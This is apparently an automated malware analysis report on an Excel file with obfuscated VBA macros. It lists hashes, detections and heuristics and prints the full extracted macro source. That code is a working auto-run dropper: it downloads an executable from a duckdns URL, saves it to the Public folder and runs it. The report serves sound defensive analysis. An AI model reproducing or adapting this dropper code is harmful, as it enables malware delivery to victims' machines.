Office (OOXML) malware analysis — malicious · 2951467837e74eb3

MALICIOUS

Office (OOXML)

53.4 KB First seen: 2020-09-04

MD5: 21e4c4ab01fbde4416777aab6804f7b1 SHA-1: dccab56916c5e0335c679ded6da3a01ab3817dd9 SHA-256: 2951467837e74eb373a91f75ef2100a9e08c3d2fa4360cf7cfae5fa74fcf1cb9

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an Office document containing obfuscated VBA macros. The Workbook_Open macro is designed to execute automatically upon opening. It uses CreateObject to download a file from the hardcoded URL "http://suppofficesmailalivedsributionpublicationsprocceded.duckdns.org/md.exe" and then executes it, indicating a downloader or dropper functionality.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
rjhpifozmfnyhzttdqktvqopndduchpybdludedjratkjcfeewillioaurcebtwepowdnypznacvxefkxypfzdmsplzmcyixdpuv.write zgouojsmajmirrqymmncwretrrevjakrmnecifuvjewafootcylfrgxhcvcwexczyvwemnqgrstsueoddktlofzfpwamdxqlcwck.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set zgouojsmajmirrqymmncwretrrevjakrmnecifuvjewafootcylfrgxhcvcwexczyvwemnqgrstsueoddktlofzfpwamdxqlcwck = CreateObject(hiyrzpqhbqmifsjwxjyipvwtewqxiazoczramscclebjaahnce("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set zgouojsmajmirrqymmncwretrrevjakrmnecifuvjewafootcylfrgxhcvcwexczyvwemnqgrstsueoddktlofzfpwamdxqlcwck = CreateObject(hiyrzpqhbqmifsjwxjyipvwtewqxiazoczramscclebjaahnce("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6668 bytes
SHA-256: `201ab4dc7e6aea54fc8bb596c335ff55f01eba9450980337a6a0292a9105031e`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select zxtvfxuytnfhjiiprorqhjmbempomdcdjmcufweiljfkofeefjlargnplsqshgmqkbywfojvjjfxdcmyikjcrcmdzmjnfmaexpzn"68 74 74 70 3A 2F 2F 73 75 70 6F 66 66 69 63 65 6D 61 69 6E 6C 69 76 65 64 73 72 69 62 75 74 69 6F 6E 73 70 72 6F 63 65 65 64 2E 64 75 63 6B 64 6E 73 2E 6F 72 67 2F 6D 64 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub zxtvfxuytnfhjiiprorqhjmbempomdcdjmcufweiljfkofeefjlargnplsqshgmqkbywfojvjjfxdcmyikjcrcmdzmjnfmaexpzn (fnpmftvrunxkknqdthykqviprfxjvcijwvbbffsslnyninvajmxhszmjezvavmvsenooloxoogzcxvhdjxajebqwjsxgkswyrfju As String) Dim zgouojsmajmirrqymmncwretrrevjakrmnecifuvjewafootcylfrgxhcvcwexczyvwemnqgrstsueoddktlofzfpwamdxqlcwck Range("A6:J13").Select Dim rjhpifozmfnyhzttdqktvqopndduchpybdludedjratkjcfeewillioaurcebtwepowdnypznacvxefkxypfzdmsplzmcyixdpuv Range("A6:J13").Select Dim gcrfgiykgtdqmrgderembdnbydxosfrijkevhkzrecmwijakresmkitcopgckjrbbuhbmlvurnhzrrtpdnxnmfxarbhsdwhvkkun Range("A6:J13").Select Set zgouojsmajmirrqymmncwretrrevjakrmnecifuvjewafootcylfrgxhcvcwexczyvwemnqgrstsueoddktlofzfpwamdxqlcwck = CreateObject(hiyrzpqhbqmifsjwxjyipvwtewqxiazoczramscclebjaahnce("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set zgouojsmajmirrqymmncwretrrevjakrmnecifuvjewafootcylfrgxhcvcwexczyvwemnqgrstsueoddktlofzfpwamdxqlcwck = CreateObject(hiyrzpqhbqmifsjwxjyipvwtewqxiazoczramscclebjaahnce("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set zgouojsmajmirrqymmncwretrrevjakrmnecifuvjewafootcylfrgxhcvcwexczyvwemnqgrstsueoddktlofzfpwamdxqlcwck = CreateObject(hiyrzpqhbqmifsjwxjyipvwtewqxiazoczramscclebjaahnce("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set zgouojsmajmirrqymmncwretrrevjakrmnecifuvjewafootcylfrgxhcvcwexczyvwemnqgrstsueoddktlofzfpwamdxqlcwck = CreateObject(hiyrzpqhbqmifsjwxjyipvwtewqxiazoczramscclebjaahnce("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set rjhpifozmfnyhzttdqktvqopndduchpybdludedjratkjcfeewillioaurcebtwepowdnypznacvxefkxypfzdmsplzmcyixdpuv = CreateObject(hiyrzpqhbqmifsjwxjyipvwtewqxiazoczramscclebjaahnce("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set gcrfgiykgtdqmrgderembdnbydxosfrijkevhkzrecmwijakresmkitcopgckjrbbuhbmlvurnhzrrtpdnxnmfxarbhsdwhvkkun = CreateObject(hiyrzpqhbqmifsjwxjyipvwtewqxiazoczramscclebjaahnce("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) mdrpnlgxwryskjpocyteucxwxmwhfydwmmdxcomvtbjnwtqiiauetcukfvsaozsxnbfyfsmolykttkzewoyeezckrtshwmguilzu = hiyrzpqhbqmifsjwxjyipvwtewqxiazoczramscclebjaahnce(fnpmftvrunxkknqdthykqviprfxjvcijwvbbffsslnyninvajmxhszmjezvavmvsenooloxoogzcxvhdjxajebqwjsxgkswyrfju) nrcpoftvrbquvoeaantoyvgmaeszrpkhkeremjqyghspcxlhhguvrlvskqpjntdcrjkqwzoqxvircrjctkrluppziytvthlmeqyt = hiyrzpqhbqmifsjwxjyipvwtewqxiazoczramscclebjaahnce("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 68 6F 72 71 78 6D 6C 66 6D 2e 65 78 65") nulisdywdepthmqcbsictkhyfsxpkvmmtppyzjtqrtwejaogrikmivacmmcagimhrdarxrdsyrlzodpfdrycladxpmlmgtkjhpmf = hiyrzpqhbqmifsjwxjyipvwtewqxiazoczramscclebjaahnce("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 68 6F 72 71 78 6D 6C 66 6D 2e 65 78 65") zgouojsmajmirrqymmncwretrrevjakrmnecifuvjewafootcylfrgxhcvcwexczyvwemnqgrstsueoddktlofzfpwamdxqlcwck.Open chr(71) + chr(69) + chr(84), mdrpnlgxwryskjpocyteucxwxmwhfydwmmdxcomvtbjnwtqiiauetcukfvsaozsxnbfyfsmolykttkzewoyeezckrtshwmguilzu, False zgouojsmajmirrqymmncwretrrevjakrmnecifuvjewafootcylfrgxhcvcwexczyvwemnqgrstsueoddktlofzfpwamdxqlcwck.send rjhpifozmfnyhzttdqktvqopndduchpybdludedjratkjcfeewillioaurcebtwepowdnypznacvxefkxypfzdmsplzmcyixdpuv.Type = 1 rjhpifozmfnyhzttdqktvqopndduchpybdludedjratkjcfeewillioaurcebtwepowdnypznacvxefkxypfzdmsplzmcyixdpuv.Open rjhpifozmfnyhzttdqktvqopndduchpybdludedjratkjcfeewillioaurcebtwepowdnypznacvxefkxypfzdmsplzmcyixdpuv.write zgouojsmajmirrqymmncwretrrevjakrmnecifuvjewafootcylfrgxhcvcwexczyvwemnqgrstsueoddktlofzfpwamdxqlcwck.responseBody rjhpifozmfnyhzttdqktvqopndduchpybdludedjratkjcfeewillioaurcebtwepowdnypznacvxefkxypfzdmsplzmcyixdpuv.savetofile nrcpoftvrbquvoeaantoyvgmaeszrpkhkeremjqyghspcxlhhguvrlvskqpjntdcrjkqwzoqxvircrjctkrluppziytvthlmeqyt, 2 gcrfgiykgtdqmrgderembdnbydxosfrijkevhkzrecmwijakresmkitcopgckjrbbuhbmlvurnhzrrtpdnxnmfxarbhsdwhvkkun.Run nulisdywdepthmqcbsictkhyfsxpkvmmtppyzjtqrtwejaogrikmivacmmcagimhrdarxrdsyrlzodpfdrycladxpmlmgtkjhpmf End Sub Public Function hiyrzpqhbqmifsjwxjyipvwtewqxiazoczramscclebjaahnce(ByVal cyxgjyuxbtlwwrzxmdpwxgklddqvfmpgxfnfpqenkzzypkwmxjiguyqwomcghzrodfzqetiwzblxgmvshexweilzprrcnyfliluk As String) As String Dim lfidblhtmspcrkzdbvkvtzancfibvapurkgbwtusasnwbpldzcjmbyrlfubvdgxldukgdxghasuamdlnufctrctssvwbsyouvbsg As String Dim eeabwbmjerzbjobyeeubarnhbepbdaelkfiqeawpqkobwusexqprhrfnqszrmkfdmnqdgltdhflqcmlgllemknetauzmbecfelpi As String Dim epxmxljbgplegsfbgttyjwdllgcccflrwdcwnsoydcnkjvgiybzlsqyhlmaqjgzaeticqinofuuhjsbqaueagazfeularypwdngp As Long For epxmxljbgplegsfbgttyjwdllgcccflrwdcwnsoydcnkjvgiybzlsqyhlmaqjgzaeticqinofuuhjsbqaueagazfeularypwdngp = 1 To Len(cyxgjyuxbtlwwrzxmdpwxgklddqvfmpgxfnfpqenkzzypkwmxjiguyqwomcghzrodfzqetiwzblxgmvshexweilzprrcnyfliluk)Step 3 lfidblhtmspcrkzdbvkvtzancfibvapurkgbwtusasnwbpldzcjmbyrlfubvdgxldukgdxghasuamdlnufctrctssvwbsyouvbsg = Chr$(Val("&H" & Mid$(cyxgjyuxbtlwwrzxmdpwxgklddqvfmpgxfnfpqenkzzypkwmxjiguyqwomcghzrodfzqetiwzblxgmvshexweilzprrcnyfliluk, epxmxljbgplegsfbgttyjwdllgcccflrwdcwnsoydcnkjvgiybzlsqyhlmaqjgzaeticqinofuuhjsbqaueagazfeularypwdngp, 2))) eeabwbmjerzbjobyeeubarnhbepbdaelkfiqeawpqkobwusexqprhrfnqszrmkfdmnqdgltdhflqcmlgllemknetauzmbecfelpi = eeabwbmjerzbjobyeeubarnhbepbdaelkfiqeawpqkobwusexqprhrfnqszrmkfdmnqdgltdhflqcmlgllemknetauzmbecfelpi & lfidblhtmspcrkzdbvkvtzancfibvapurkgbwtusasnwbpldzcjmbyrlfubvdgxldukgdxghasuamdlnufctrctssvwbsyouvbsg Next epxmxljbgplegsfbgttyjwdllgcccflrwdcwnsoydcnkjvgiybzlsqyhlmaqjgzaeticqinofuuhjsbqaueagazfeularypwdngp hiyrzpqhbqmifsjwxjyipvwtewqxiazoczramscclebjaahnce = eeabwbmjerzbjobyeeubarnhbepbdaelkfiqeawpqkobwusexqprhrfnqszrmkfdmnqdgltdhflqcmlgllemknetauzmbecfelpi End Function Attribute VB_Name = "zxizernqkaoixxwpjkvrzcckf" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `21d1dcd9c7e1c6615cc25955def45eea63a921efc13e75d9fed7f12e3325bd4c`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 129 of 222 identifiers look randomly generated (e.g. 'zxizernqkaoixxwpjkvrzcckf') — consistent with name-mangling obfuscation.

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